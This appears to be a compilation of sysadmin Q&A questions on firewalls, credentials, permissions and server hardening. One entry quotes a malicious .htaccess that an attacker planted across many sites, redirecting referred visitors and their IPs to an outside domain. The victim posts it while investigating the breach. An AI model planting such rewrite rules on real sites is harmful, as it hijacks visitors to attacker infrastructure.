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• How to open a server port outside of an OpenVPN tunnel with a pf firewall on OSX (BSD)

  - by Timbo

  I have a Mac mini that I use as a media server running XBMC and serves media from my NAS to my stereo and TV (which has been color calibrated with a Spyder3Express, happy). The Mac runs OSX 10.8.2 and the internet connection is tunneled for general privacy over OpenVPN through Tunnelblick. I believe my anonymous VPN provider pushes "redirect_gateway" to OpenVPN/Tunnelblick because when on it effectively tunnels all non-LAN traffic in- and outbound. As an unwanted side effect that also opens the boxes server ports unprotected to the outside world and bypasses my firewall-router (Netgear SRX5308). I have run nmap from outside the LAN on the VPN IP and the server ports on the mini are clearly visible and connectable. The mini has the following ports open: ssh/22, ARD/5900 and 8080+9090 for the XBMC iOS client Constellation. I also have Synology NAS which apart from LAN file serving over AFP and WebDAV only serves up an OpenVPN/1194 and a PPTP/1732 server. When outside of the LAN I connect to this from my laptop over OpenVPN and over PPTP from my iPhone. I only want to connect through AFP/548 from the mini to the NAS. The border firewall (SRX5308) just works excellently, stable and with a very high throughput when streaming from various VOD services. My connection is a 100/10 with a close to theoretical max throughput. The ruleset is as follows Inbound: PPTP/1723 Allow always to 10.0.0.40 (NAS/VPN server) from a restricted IP range >corresponding to possible cell provider range OpenVPN/1194 Allow always to 10.0.0.40 (NAS/VPN server) from any Outbound: Default outbound policy: Allow Always OpenVPN/1194 TCP Allow always from 10.0.0.40 (NAS) to a.b.8.1-a.b.8.254 (VPN provider) OpenVPN/1194 UDP Allow always to 10.0.0.40 (NAS) to a.b.8.1-a.b.8.254 (VPN provider) Block always from NAS to any On the Mini I have disabled the OSX Application Level Firewall because it throws popups which don't remember my choices from one time to another and that's annoying on a media server. Instead I run Little Snitch which controls outgoing connections nicely on an application level. I have configured the excellent OSX builtin firewall pf (from BSD) as follows pf.conf (Apple App firewall tie-ins removed) (# replaced with % to avoid formatting errors) ### macro name for external interface. eth_if = "en0" vpn_if = "tap0" ### wifi_if = "en1" ### %usb_if = "en3" ext_if = $eth_if LAN="{10.0.0.0/24}" ### General housekeeping rules ### ### Drop all blocked packets silently set block-policy drop ### all incoming traffic on external interface is normalized and fragmented ### packets are reassembled. scrub in on $ext_if all fragment reassemble scrub in on $vpn_if all fragment reassemble scrub out all ### exercise antispoofing on the external interface, but add the local ### loopback interface as an exception, to prevent services utilizing the ### local loop from being blocked accidentally. ### set skip on lo0 antispoof for $ext_if inet antispoof for $vpn_if inet ### spoofing protection for all interfaces block in quick from urpf-failed ############################# block all ### Access to the mini server over ssh/22 and remote desktop/5900 from LAN/en0 only pass in on $eth_if proto tcp from $LAN to any port {22, 5900, 8080, 9090} ### Allow all udp and icmp also, necessary for Constellation. Could be tightened. pass on $eth_if proto {udp, icmp} from $LAN to any ### Allow AFP to 10.0.0.40 (NAS) pass out on $eth_if proto tcp from any to 10.0.0.40 port 548 ### Allow OpenVPN tunnel setup over unprotected link (en0) only to VPN provider IPs ### and port ranges pass on $eth_if proto tcp from any to a.b.8.0/24 port 1194:1201 ### OpenVPN Tunnel rules. All traffic allowed out, only in to ports 4100-4110 ### Outgoing pings ok pass in on $vpn_if proto {tcp, udp} from any to any port 4100:4110 pass out on $vpn_if proto {tcp, udp, icmp} from any to any So what are my goals and what does the above setup achieve? (until you tell me otherwise :) 1) Full LAN access to the above ports on the mini/media server (including through my own VPN server) 2) All internet traffic from the mini/media server is anonymized and tunneled over VPN 3) If OpenVPN/Tunnelblick on the mini drops the connection, nothing is leaked both because of pf and the router outgoing ruleset. It can't even do a DNS lookup through the router. So what do I have to hide with all this? Nothing much really, I just got carried away trying to stop port scans through the VPN tunnel :) In any case this setup works perfectly and it is very stable. The Problem at last! I want to run a minecraft server and I installed that on a separate user account on the mini server (user=mc) to keep things partitioned. I don't want this server accessible through the anonymized VPN tunnel because there are lots more port scans and hacking attempts through that than over my regular IP and I don't trust java in general. So I added the following pf rule on the mini: ### Allow Minecraft public through user mc pass in on $eth_if proto {tcp,udp} from any to any port 24983 user mc pass out on $eth_if proto {tcp, udp} from any to any user mc And these additions on the border firewall: Inbound: Allow always TCP/UDP from any to 10.0.0.40 (NAS) Outbound: Allow always TCP port 80 from 10.0.0.40 to any (needed for online account checkups) This works fine but only when the OpenVPN/Tunnelblick tunnel is down. When up no connection is possbile to the minecraft server from outside of LAN. inside LAN is always OK. Everything else functions as intended. I believe the redirect_gateway push is close to the root of the problem, but I want to keep that specific VPN provider because of the fantastic throughput, price and service. The Solution? How can I open up the minecraft server port outside of the tunnel so it's only available over en0 not the VPN tunnel? Should I a static route? But I don't know which IPs will be connecting...stumbles How secure would to estimate this setup to be and do you have other improvements to share? I've searched extensively in the last few days to no avail...If you've read this far I bet you know the answer :)

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• How much information can websites get about your browser/PC?

  - by Pickledegg

  I am trying to determine if the information shown on this website is the absolute maximum amount of information that a webserver can obtain from a web visitor. Does anyone know of any other sites that will be able to get more information from the user passively like this? I'm not talking about port-sniffing or any kind of interaction from the user, just the info that a server can get from a 'dumb' visit.

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• How are cached Windows credentials stored on the local machine?

  - by MDMarra

  How are cached Active Directory domain credentials stored on a Windows client? Are they stored in the local SAM database, thus making them susceptible to the same rainbow table attacks that local user accounts are susceptible to, or are they stored differently? Note, that I do realize that they are salted and hashed, so as not to be stored in plain-text, but are they hashed in the same way as local accounts and are they stored in the same location? I realize that at a minimum they're be susceptible to a brute force attack, but that's a much better situation than being vulnerable to rainbow tables in the event of a stolen machine.

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• protect my web server

  - by kareemsaad

  how can I know who enter web server and how can I protect my IP from others?

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• Pass parameters to a script securely

  - by codeholic

  What is the best way to pass parameters to a forked script securely? E. g. passing parameters through command line operands is not secure, since someone who has an account on the host can run ps and see them. Unnamed pipe is quite secure, as far as I understand, isn't it? I mean, passing parameters to STDIN of the forked process. What about passing parameters in environment vars? Is it secure? What about passing parameters by other means I didn't mention?

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• Putting a whole linux server under source control (git)

  - by Tobias Hertkorn

  I am thinking about putting my whole linux server under version control using git. The reason behind it being that that might be the easiest way to detect malicious modifications/rootkits. All I would naively think is necessary to check the integrity of the system: Mount the linux partition every week or so using a rescue system, check if the git repository is still untempered and then issue a git status to detect any changes made to the system. Apart from the obvious waste in disk space, are there any other negative side-effects? Is it a totally crazy idea? Is it even a secure way to check against rootkits since I most likely would have to at least exclude /dev and /proc ?

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• Returning "200 OK" in Apache on HTTP OPTIONS requests

  - by i..

  I'm attempting to implement cross-domain HTTP access control without touching any code. I've got my Apache(2) server returning the correct Access Control headers with this block: Header set Access-Control-Allow-Origin "*" Header set Access-Control-Allow-Methods "POST, GET, OPTIONS" I now need to prevent Apache from executing my code when the browser sends a HTTP OPTIONS request (it's stored in the REQUEST_METHOD environment variable), returning 200 OK. How can I configure Apache to respond "200 OK" when the request method is OPTIONS? I've tried this mod_rewrite block, but the Access Control headers are lost. RewriteEngine On RewriteCond %{REQUEST_METHOD} OPTIONS RewriteRule ^(.*)$ $1 [R=200,L]

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• Finding Webserver Vulnerability

  - by Brent

  We operate a webserver farm hosting around 300 websites. Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites. The content of the .htaccess file was this: RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR} Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is. I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole? So far we have determined: the changes were made as www-data, so apache or it's plugins are likely the culprit all the changes were made within 15 minutes of each other, so it was probably automated since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site) if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse) Any more hints would be appreciated.

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• Securing debain with fail2ban or iptables

  - by Jimmy

  I'm looking to secure my server. Initially my first thought was to use iptables but then I also learnt about Fail2ban. I understand that Fail2ban is based on iptables, but it has the advantages of being able to ban IP's after a number of attempts. Let's say I want to block FTP completely: Should I write a separate IPtable rule to block FTP, and use Fail2ban just for SSH Or instead simply put all rules, even the FTP blocking rule within the Fail2Ban config Any help on this would be appreciated. James

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• Project Management

  - by user311188

  Hi: I've seen a lot of project managers but I don't have one that have all this features ... do you know any ? (if possible open source) project management (for multiple projects) task assignations or ticket system task owner or task creator says ESTIMATION each user has his own dashboard with "my tasks of today" gantt graphs thank you

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• what are these weird IP address connections in resource monitor?

  - by bill

  I decided to check out Resource Monitor (on the 'Performance' tab in Task Manager, Windows 7) and I noticed in the "Network" section that the 'System' image name kept making a bunch (~5 at a time) of connections to random IP addresses, it would show anywhere from 1-500 bytes/sec 'sent'. They would stay connected for 1-2 minutes. -All web browsers are closed So, first thing I did was run a trace from network-tools.com on some of these IP addresses. 8/10 were outside of US and did not resolve to any host name. Of the 10 IP addresses I traced, 2 were in US, 4 showed origins in China, and one each to Algeria, Russia, Pakistan, Korea. (!) So, the next thing I did was turn off my wireless card, watch the connections disappear, then turn the card back on, and within 30 seconds more random connections were created by System, with different IP addresses from the first time. The next thing I did was go open Task Manager, Show Processes From All Users, then I killed just about everything that wasn't (what appeared to be) a windows process. Turned on wi-fi, and again within 30 seconds, random IP addresses connect for ~ 1 min at a time, new ones coming and going. I occasionally use bit torrent on this machine, but there was definitely no process that seemed related to bt running after I went through task manager, and bt wasn't open to begin with. So, any ideas on what these connections might be for? I have been using Ad-Aware Free and AVG Free on this computer for a while now, always up to date..

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• can i use an ip-list include file for iptable blacklisting

  - by rubo77

  I would like to block all countries except mine in iptables, that is a lits with about 100.000 Entries. how can i define this blacklistfile in a script, so iptables blocks all those ip-ranges? maybe i can use http://www.ipdeny.com/ipblocks/data/countries/ that provides lists in the form 117.55.192.0/20 117.104.224.0/21 119.59.80.0/21 121.100.48.0/21 ... i want to be able to change the blacklistfile easily without having to change the iptables-script

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• iptables: separate clients from each other

  - by Florian Lagg

  Hello, is there a way to separate clients in a subnet so that they cannot reach each other? The infrastructure currently looks like this: 192.168.0.1/24 Gateway, a CentOS box with iptables. 192.168.0.10-20 Some clients which may reach each other 192.168.0.30 A single client which should not be able to reach the hosts 192.168.0.10-20 should be able to reach the gateway and the internet I don't know if it is possible, maybe you could give me your ideas how it could be done. I cannot influence the machine 192.168.0.30 because it is a virtual machine I want to rent to someone. Thanks.

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• How do I securely share my server?

  - by Blue

  I have a large dedicated server running Debian and I want to share it with about 6 friends of mine. I know I can simply just use adduser to create user accounts for them, but I want to know if they can, even as a regular user without root permissions, do anything malicious. I know by default they have read permissions for other users in the /home, and can solve that with chmod, but I just want to make sure that there's nothing else they can do. And also, is there any kind of script or program that makes it easier to create and manage shell users on a server?

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• Recommendations for a Document Management system for Windows

  - by Sora

  what's the best way to manage a large amount of documents? (word,ppt,pdf...) when windows explorer is not sufficient? preferably desktop based solution

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• Linux File Permissions & Access Control Query

  - by Jason

  Hi, Lets say I am user: bob & group: users. There is this file: -rw----r-- 1 root users 4 May 8 22:34 testfile First question, why can't bob read the file as it's readable by others? Is it simply that if you are denied by group, then you are auto-blacklisted for others? I always assumed that the final 3 bits too precedence over user/group permission bits, guess I was wrong... Second question, how is this implemented? I suppose it's linked to the first query, but how does this work in relation to Access Control, is it related to how ACLs work / are queried? Just trying to understand how these 9 permission bits are actually implemented/used in Linux. Thanks alot.

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• nginx, should all files served by owned by www-data?

  - by Blankman

  With nginx, should all files being served be owned by www-data? (assuming nginx is running under the context of www-data). Or is root ok?

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• Less daunting front end for SQL Server

  - by Martin

  We currently have a few users who have been using Access very succesfully to throw around large amounts of data. We've now got to the point where the data is just too large to be held in Access, as well as wanting to hold it in a single place where multiple users can access it. We have therefore moved the data over to SQL Server. I want to provide a general tool that they can use to view the data on the server and do some simple things like run queries and filters and export the data for offline manipulation. I don't want the support headaches that might come with rolling out SQL Management Studio, and neither do I want to have to create an Access database with links for each current database or ones that are created in the future. Can anyone recommend a simple tool that will connect to a server, list all the databases and allow a user to drill into a table and look at the data. Many thanks.

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• How to configure mercurial access controls using apache and hgweb?

  - by Gj1

  I have set up a mercurial repo to be served using apache+wsgi+hgweb on OS X. It is now completely open to anyone who stumbles upon my server on the correct port number.. How can I set it up so that only people with a username+password pair that I approve can pull and/or push from the repo? I know how to very easily achieve this using ssh, but in this specific case the requirement is that the solution doesn't require defining full fledged user accounts on the machine for each person whom I'd like to give access to the repo.

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• Volume is no longer showing in Raid Controller BIOS and in Windows

  - by Gordon

  Hi all, I have installed some critical Windows Updates yesterday and now my external RAID Volume no longer shows in Windows Vista x64. All updates went through successfully. From their description, I cannot see how they should relate to the issue, but this is the only change that happened, so who knows. Anyway, here is the details: I have an external eSata enclosure that is running on a SiI4726 controller. I can connect to the controller with it's management utility from the computer the enclosure is connected to. The three drives in the enclosure show up as JBODs. I had those drives configured to be one logical RAID5 drive. RAID management is done through a SiI3132 SoftRaid controller. The Raid Management Utility just shows empty channels where it usually shows the Raid Group. In the Windows Disk Manager, I can see an unknown unitialized device. This is fine according to the setup manual. What it doesn't show is my Raid drive. It's gone. Also, when booting Windows, the BIOS of the controller used to show the RAID volume before booting the OS. This is not happening anymore. Updating drivers and firmware did not help. I have made sure the drivers and firmware are compatible to each others. And like I said, it used to work before. Any clues?

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• How to put fear of God (law) into Wi-Fi hacking neighbors [closed]

  - by Shakehar

  I live in an apartment and some new guys have apparently moved into one of the apartments. They have been shamelessly hacking into my WiFi. Mine was initially a WEP encrypted network and out of laziness I just limited and reserved the IPS on my router for the people in my house. Yesterday I had to free up an IP for a guest in my house but before he could join the network these guys connected in. I have changed my encryption to WPA2 and hope they dont have the hardware/patience required to hack into it, but there are many wi-fi networks in my apartment most of which are secured using WEP. I don't really want to call the police on them. Is there any way to deter them from misusing other people's wi-fi ? I have gone through I think someone else has access to my wireless network. What next? but I have already taken the steps mentioned there.

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• How can I hide my personal information on my iPhone before I lend it to someone else for a weekend?

  - by Greendog

  Hi, everyone. Could you suggest or give me some solution to lock or secure my personal information (for example, contact, mails, photo, SMS) in iPhone before I let others borrow it for a weekend? Do I need to use some application?

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• Out of memory errors but not actually out of memory...

  - by commradepolski

  So, myself and my fellow support techs have been fighting with this issue and we still dont know what the problem is. Lets start off with the system specs: Windows XP 32 bit Corporate (SP2 and SP3) Intel D975XBX2 Mobo 4gb of ram Intel Core 2 Quad Q6600 ATI Radeon HD 3600 - 512mb After a few hours of working on the machine, the end user will begin to see the following symptoms: Out of memory messages Title bars and menus dont draw in properly Problems accessing network resources Problems opening up documents such as MSWord and MSPowerpoint and text files Problems opening up explorer windows General instability We have looked at task manager while this issue was occurring, and all indicators, like PF usage, threads, handles, etc. are normal. We have been having trouble pinpointing the root cause of this issue. It is also not situated with one user, it affects 8-10. So far we have tried: Resetting CMOS (Waiting to see results) Replacing video card (didnt help) Windows updates (didnt help) Updating network drivers (didnt help) Switching user from 1gbps to 100mbps network connection (awaiting results) Swapping the affected user's hardware (waiting for results) Increasing desktop heap size (helped for a bit but then the issue became more frequent) Applying the /3 switch to XP (didnt help) Increasing and decreasing and setting PF to system managed state (didnt help) We did have a power outage at the office a couple weeks ago, and all these issues became more frequent. Prior to the power outage it may take a week or so for the users to experience the issues but since the power outage it takes 3-4 hours or less. We havent had reports of the above issues causing BSODs, although that would be easier to diagnose :). Any help is greatly appreciated.

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• Is allowing remote Sql Server Management Studio safe?

  - by dave thieben

  I administer a website that runs on IIS on one box, and SQL Server 2008 Workgroup on another box. typically I remote into the DB box and run SSMS to work on the db, but I would like to be able to access the db directly with SSMS on my local box. I've seen the other questions about allowing remote access to the database, but my question is, is this safe? I'm concerned that I'm opening a hole in the firewall and potential for hack attempts. Is this just a bad idea in general?

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• How to know who accessed a file or if a file has 'access' monitor in linux

  - by J L

  I'm a noob and have some questions about viewing who accessed a file. I found there are ways to see if a file was accessed (not modified/changed) through audit subsystem and inotify. However, from what I have read online, according to here: http://www.cyberciti.biz/tips/linux-audit-files-to-see-who-made-changes-to-a-file.html it says to 'watch/monitor' file, I have to set a watch by using command like: # auditctl -w /etc/passwd -p war -k password-file So if I create a new file or directory, do I have to use audit/inotify command to 'set' watch first to 'watch' who accessed the new file? Also is there a way to know if a directory is being 'watched' through audit subsystem or inotify? How/where can I check the log of a file? edit: from further googling, I found this page saying: http://www.kernel.org/doc/man-pages/online/pages/man7/inotify.7.html The inotify API provides no information about the user or process that triggered the inotify event. So I guess this means that I cant figure out which user accessed a file? Only audit subsystem can be used to figure out who accessed a file?

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